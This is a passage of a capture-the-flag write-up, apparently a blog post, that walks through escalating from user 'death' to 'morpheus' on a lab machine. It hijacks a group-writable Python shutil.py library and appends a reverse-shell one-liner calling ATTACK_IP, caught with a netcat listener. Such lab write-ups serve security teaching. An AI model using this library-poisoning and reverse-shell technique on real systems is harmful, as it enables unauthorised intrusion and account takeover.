   |  |  |=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |  |  |
   |  |  |-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |  |  |
   |  |  |=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |  |  |
   |  |  |   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||-  |  |  |
  _|__|__|   || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||=  |__|__|_
  -|--|--|=  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||   |--|--|-
  _|__|__|   ||_|__|__|__|__|__|__|| ||__|__|__|__|__|__|_||-  |__|__|_
  -|--|--|=  ||-|--|--|--|--|--|--|| ||--|--|--|--|--|--|-||=  |--|--|-
  jgs |  |-  || |  |  |  |  |  |  || ||  |  |  |  |  |  | ||-  |  |  |
 ~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^~~~~~~~~~~~

W e l c o m e, s t r a n g e r . . .
death@10.10.REDACTED's password: 
Welcome to Ubuntu 20.04.6 LTS (GNU/Linux 5.15.0-138-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

 System information as of Thu 17 Jul 2025 09:02:12 AM UTC

  System load:  0.0                Processes:             118
  Usage of /:   54.3% of 11.21GB   Users logged in:       0
  Memory usage: 73%                IPv4 address for ens5: 10.10.REDACTED
  Swap usage:   0%

 * Strictly confined Kubernetes makes edge and IoT secure. Learn how MicroK8s
   just raised the bar for easy, resilient and secure K8s cluster deployment.

   https://ubuntu.com/engage/secure-kubernetes-at-the-edge

Expanded Security Maintenance for Applications is not enabled.

0 updates can be applied immediately.

2 additional security updates can be applied with ESM Apps.
Learn more about enabling ESM Apps service at https://ubuntu.com/esm


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Your Hardware Enablement Stack (HWE) is supported until April 2025.

Last login: Fri Nov 17 21:44:20 2023
death@ip-10-10-REDACTED:~$

We are now Death!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
death@ip-10-10-REDACTED:~$ cd /home/death
death@ip-10-10-REDACTED:~$ ls -la
total 56
drwxr-xr-x 4 death death 4096 Aug 25  2023 .
drwxr-xr-x 6 root  root  4096 May 18 20:25 ..
-rw------- 1 death death  486 Jul 17 08:58 .bash_history
-rw-r--r-- 1 death death  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 death death 3771 Feb 25  2020 .bashrc
drwx------ 3 death death 4096 Jul 28  2023 .cache
-rw-rw---- 1 death death   21 Jul 28  2023 death_flag.txt
-rwxrwx--x 1 death death 1539 Aug 25  2023 getDreams.py
drwxrwxr-x 4 death death 4096 Jul 28  2023 .local
-rw------- 1 death death  465 Aug 25  2023 .mysql_history
-rw-r--r-- 1 death death  807 Feb 25  2020 .profile
-rw------- 1 death death 8157 Aug  7  2023 .viminfo
-rw-rw-r-- 1 death death  165 Jul 29  2023 .wget-hsts
death@ip-10-10-REDACTED:~$ cat death_flag.txt
THM{REDACTED}

We got Death’s flag!

Morpheus

When moving around and looking, it seemed like we have access to Morpheus’s home folder.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
death@ip-10-10-REDACTED:~$ cd /home/morpheus
death@ip-10-10-REDACTED:/home/morpheus$ ls -la
total 44
drwxr-xr-x 3 morpheus morpheus 4096 Aug  7  2023 .
drwxr-xr-x 6 root     root     4096 May 18 20:25 ..
-rw------- 1 morpheus morpheus   58 Aug 14  2023 .bash_history
-rw-r--r-- 1 morpheus morpheus  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 morpheus morpheus 3771 Feb 25  2020 .bashrc
-rw-rw-r-- 1 morpheus morpheus   22 Jul 28  2023 kingdom
drwxrwxr-x 3 morpheus morpheus 4096 Jul 28  2023 .local
-rw-rw---- 1 morpheus morpheus   28 Jul 28  2023 morpheus_flag.txt
-rw-r--r-- 1 morpheus morpheus  807 Feb 25  2020 .profile
-rw-rw-r-- 1 morpheus morpheus  180 Aug  7  2023 restore.py
-rw-rw-r-- 1 morpheus morpheus   66 Jul 28  2023 .selected_editor

We see a readable restore.py file.

1
2
3
4
5
6
7
8
death@ip-10-10-REDACTED:/home/morpheus$ cat restore.py
from shutil import copy2 as backup

src_file = "/home/morpheus/kingdom"
dst_file = "/kingdom_backup/kingdom"

backup(src_file, dst_file)
print("The kingdom backup has been done!")

It seems like the folder /home/morpheus/kingdom is being backed up to /kingdom_backup/kingdom. It’s possible that this file is being run once every few minutes, and it seems like it is using backup from the shutil library. Let’s find that shutil file on the system.

1
2
3
4
5
6
7
8
9
10
death@ip-10-10-REDACTED:/home/morpheus$ find / -name "shutil*" 2>/dev/null
/usr/lib/python3.8/shutil.py
/usr/lib/python3.8/__pycache__/shutil.cpython-38.pyc
/usr/lib/byobu/include/shutil
/snap/core20/1974/usr/lib/python3.8/__pycache__/shutil.cpython-38.pyc
/snap/core20/1974/usr/lib/python3.8/shutil.py
/snap/core20/2015/usr/lib/python3.8/__pycache__/shutil.cpython-38.pyc
/snap/core20/2015/usr/lib/python3.8/shutil.py
death@ip-10-10-REDACTED:/home/morpheus$ ls -la /usr/lib/python3.8/shutil.py
-rw-rw-r-- 1 root death 51474 Mar 18 20:04 /usr/lib/python3.8/shutil.py

With the /usr/lib/python3.8/shutil.py file, we can edit it so that it runs a command for us to get a reverse shell from Morpheus.

1
2
death@ip-10-10-REDACTED:/home/morpheus$ nano /usr/lib/python3.8/shutil.py
Add: import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("ATTACK_IP",ATTACK_PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/sh")

Set up a netcat listener.

1
2
3
4
Command: nc -lnvp ATTACK_PORT                                    
listening on [any] 4444 ...
connect to [10.REDACTED] from (UNKNOWN) [10.10.REDACTED] 43366
$

We are now Morpheus!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ whoami
whoami
morpheus
$ cd /home/morpheus
cd /home/morpheus
$ ls -la
ls -la
total 44
drwxr-xr-x 3 morpheus morpheus 4096 Aug  7  2023 .
drwxr-xr-x 6 root     root     4096 May 18 20:25 ..
-rw------- 1 morpheus morpheus   58 Aug 14  2023 .bash_history
-rw-r--r-- 1 morpheus morpheus  220 Feb 25  2020 .bash_logout
-rw-r--r-- 1 morpheus morpheus 3771 Feb 25  2020 .bashrc
-rw-rw-r-- 1 morpheus morpheus   22 Jul 28  2023 kingdom
drwxrwxr-x 3 morpheus morpheus 4096 Jul 28  2023 .local
-rw-rw---- 1 morpheus morpheus   28 Jul 28  2023 morpheus_flag.txt
-rw-r--r-- 1 morpheus morpheus  807 Feb 25  2020 .profile
-rw-rw-r-- 1 morpheus morpheus  180 Aug  7  2023 restore.py
-rw-rw-r-- 1 morpheus morpheus   66 Jul 28  2023 .selected_editor
$ cat morpheus_flag.txt
cat morpheus_flag.txt
THM{REDACTED}

We got all flags!!!!!!!

This post is licensed under CC BY 4.0 by the author.